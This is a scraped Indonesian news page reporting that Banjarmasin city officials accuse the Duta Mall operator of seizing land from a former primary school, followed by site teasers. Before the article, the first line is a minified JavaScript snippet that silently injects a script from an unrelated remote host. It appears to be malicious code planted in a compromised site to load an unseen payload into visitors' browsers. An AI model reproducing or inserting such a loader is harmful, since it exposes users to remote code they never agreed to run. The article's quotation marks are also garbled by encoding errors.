(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Duta Mall Banjarmasin diduga melakukan penyerobotan lahan eks SDN Kampung Melayu 2 dengan sengaja melakukan pengurukan tanah. Mendapati laporan asset Pemkot Banjarmasin diduga diserobot Walikota Banjarmasin Ibnu Sina melayangkan surat peringatakan kepada PT Govindo Utama penggung jawab alias pengelola Duta Mall.
Ibnu Sina mengatakan, terkait lahan bekas SDN Kampung Melayu 2 pihak Pemkot Banjarmasin sudah mengirim surat resmi sebagai bentuk peringatan keras kepada manajeman Duta Mall.
“Lahan tersebut sebelumnya sudah dipasangi pagar oleh Wakil Walikota untuk membatasi hasil caplokan Duta Mall terhadap lahan eks SDN Kampung Melayu 2,†ujar Ibnu Sina, Sabtu (3/2).
DPRD Kota Banjarmasin juga sudah menindak lanjuti dugaan pencaplokan lahan milik daerah itu. Lahan bekas sekolah dasar itu kini dipenuhi tumpukan bahan material bangunan dari Duta Mall.
Secara terpisah, Wakil Ketua DPRD Banjarmasin Budi Wijaya menegaskan, selama ini pihak dewan selalu mengingatkan agar Pemerintah Kota Banjarmasin menjaga aset-aset agar tak hilang, atau bahkan sampai diklaim pihak lain.
“Masalah lahan eks SDN Melayu 2 yang kini diuruk dan dijadikan akses atau areal parkir di Duta Mall, sikap DPRD Banjarmasin sudah bulat dan tegas agar segera diamankan. Pemkot juga sudah layangkan surat peringatan resmi,†katanya.
Ia memastikan DPRD Banjarmasin akan segera mengagendakan rapat gabungan melibatkan Komisi I dan Komisi II memanggil Badan Keuangan Daerah (Bakeuda) Kota Banjarmasin serta Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Banjarmasin. Untuk mengetahui keterangan seputar permasalahan lahan milik Pemkot Banjarmadin yang berbatasan dengan kawasan Duta Mall.
Sebelumnya, Wakil Walikota Banjarmasin Hermansyah sangat marah dengan perlakuan seenaknya dari PT Govindo Utama pemilik dari Duta Mall tersebut, ketika lahan bekas SDN Melayu 2 itu dijadikan areal penumpukan barang material pembangunan gedung parkir. Lahan seluas 1.124 meter persegi sempat diberi pagar pengelola Duta Mall, hingga membuat Wakil Walikota Hermansyah protes. Hermansyah pun sempat mengancam pengelola Duta Mall jika masih memagari lahan akan dibongkar paksa.
Pihak PT Govindo Utama pernah mengajukan izin, namun ditolak Pemkot Banjarmasin. Rencananya, di atas lahan itu akan dibangun pusat kuliner serta kantor Kelurahan Melayu pada 2018 ini. Hal ini mengacu karena lahan telah dilengkapi bukti kepemilikan Pemkot Banjarmasin, termasuk surat hak pakai bernomor 232 Tahun 2002.
“Lahan ini sudah dipagari sejak 2015, dan berarti sudah hampir tiga tahun. Sebab, lahan ini merupakan mikik pemerintah kota untuk dimanfaatkan sebagai pusat kuliner dan kantor kelurahan,†tegas Hermansyah. (ammar)
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.